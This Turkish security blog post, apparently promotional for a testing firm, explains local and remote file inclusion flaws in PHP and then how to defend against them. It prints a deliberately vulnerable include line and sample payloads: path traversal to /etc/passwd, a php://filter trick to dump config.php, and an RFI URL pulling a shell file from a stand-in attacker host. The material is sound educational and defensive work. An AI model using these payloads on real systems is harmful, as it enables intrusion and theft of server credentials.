LFI ve RFI: Dosya Dahil Etme Açıkları Nasıl Çalışır ve Nasıl Önlenir?
Dosya dahil etme (File Inclusion) açıkları, bir uygulamanın dosya yolunu kullanıcı girdisinden almasıyla oluşur. Girdi denetlenmezse, saldırgan uygulamanın okuduğu dosyayı değiştirir. İki türü vardır: LFI (yerel) ve RFI (uzak).
Aşağıdaki teknikler yalnızca kendi lab'ınızda veya yetkili test kapsamında denenmelidir (TCK 243-244).
Zafiyetin Kaynağı
Tipik zayıf kod şuna benzer:
<?php include($_GET['sayfa'] . ".php"); ?>
sayfa parametresi doğrudan include'a gidiyor. Normalde ?sayfa=hakkimizda çalışır; ama saldırgan burayı manipüle edebilir.
LFI — Local File Inclusion
Saldırgan, sunucudaki yerel dosyaları okumaya çalışır. Path traversal ile dizinlerde yukarı çıkar:
?sayfa=../../../../etc/passwd%00
/etc/passwd okunabiliyorsa, LFI doğrulanmıştır. PHP wrapper'ları ile kaynak kodu bile okunabilir:
?sayfa=php://filter/convert.base64-encode/resource=config
Bu, config.php'yi base64 olarak döndürür; çözünce veritabanı bilgileri açığa çıkabilir.
İleri seviye: log poisoning. Saldırgan, sunucu log dosyasına PHP kodu yazdırıp (örn. User-Agent üzerinden) ardından o log'u LFI ile dahil ederek kod çalıştırabilir — LFI'yi RCE'ye çevirir.
RFI — Remote File Inclusion
Sunucu ayarları izin veriyorsa (allow_url_include=On), saldırgan uzak bir dosyayı dahil ettirir:
?sayfa=http://saldirgan.ornek/kabuk.txt
Bu, doğrudan uzaktan kod çalıştırma (RCE) demektir. Modern PHP'de varsayılan kapalıdır, ama eski/yanlış yapılandırılmış sistemlerde hâlâ görülür.
Etki
- Yapılandırma dosyaları ve kaynak kod ifşası
- Kimlik bilgileri sızıntısı
- LFI + log poisoning veya RFI → tam sunucu ele geçirme
Savunma
- Kullanıcı girdisini dosya yolunda kullanmayın. Gerekiyorsa bir izin listesi (whitelist) ile eşleyin:
$izinli = ['hakkimizda' => 'hakkimizda.php', 'iletisim' => 'iletisim.php']; $dosya = $izinli[$_GET['sayfa']] ?? 'anasayfa.php'; include($dosya);
allow_url_includeveallow_url_fopenkapalı olsun.- Path traversal karakterlerini (
../, null byte) engelleyin — ama asıl çözüm izin listesidir. - Uygulamayı en az yetkiyle çalıştırın.
Sonuç
File Inclusion, "zararsız bir sayfa parametresi"nin nasıl tam sunucu erişimine dönüşebileceğinin klasik örneğidir. URL'lerinde ?sayfa=, ?dosya=, ?dil= gibi parametreler olan uygulamalar mutlaka test edilmelidir. REDCELL bu zinciri güvenli biçimde deneyip kapatma reçetesini verir — ücretsiz ön değerlendirme.
Sisteminizin güvenliğinden emin misiniz?
Ücretsiz Ön Değerlendirme →